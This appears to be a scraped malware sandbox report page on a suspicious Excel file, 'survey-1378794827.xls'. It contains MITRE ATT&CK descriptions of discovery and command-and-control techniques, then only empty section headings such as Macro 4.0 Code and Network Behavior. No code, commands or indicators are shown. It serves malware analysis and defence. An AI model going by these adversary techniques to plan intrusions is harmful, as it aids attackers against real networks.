Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report survey-1378794827.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Dropped Files

Sigma Overview

System Summary:

Jbx Signature Overview

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "survey-1378794827.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 241509

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations